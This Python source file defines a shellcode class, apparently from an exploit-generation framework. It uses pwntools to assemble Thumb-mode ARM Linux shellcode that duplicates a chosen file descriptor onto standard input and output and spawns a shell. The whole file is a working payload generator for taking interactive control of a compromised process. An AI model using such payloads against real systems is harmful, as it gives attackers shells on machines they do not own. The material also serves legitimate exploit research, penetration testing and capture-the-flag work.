from archinfo import Endness

from ..shellcode import Shellcode
from ..utils import convert_arch

import pwnlib


class LinuxARMDupsh(Shellcode):

    os = ["unix"]
    arches = ["armel"]
    name = "dupsh"

    def __init__(self, fd): #pylint:disable=super-init-not-called
        # TODO: figure out what to do with this list
        self.fd = fd[0]

        if self.fd < 0 or self.fd >= 256:
            raise ValueError("invalid fd specified")

    def raw(self, arch=None):
        if not arch:
            raise ValueError("Architecture must be specified.")

        the_arch = convert_arch(arch)

        if the_arch.name != "ARMEL":
            raise TypeError("%s only supports ARMEL." % str(self.__class__))

        assert the_arch.memory_endness == Endness.LE
        with pwnlib.context.context.local(arch='arm', endian='little'):
            shellcode = pwnlib.shellcraft.to_thumb() #pylint:disable=no-member

            with pwnlib.context.context.local(arch='thumb'):
                shellcode += pwnlib.shellcraft.mov('r6', self.fd) #pylint:disable=no-member
                shellcode += pwnlib.shellcraft.dupsh('r6') #pylint:disable=no-member
            bs = pwnlib.asm.asm(shellcode)
            if self.check_shellcode_for_incompatible_chars(bs):
                print(pwnlib.asm.disasm(bs))
            return bs
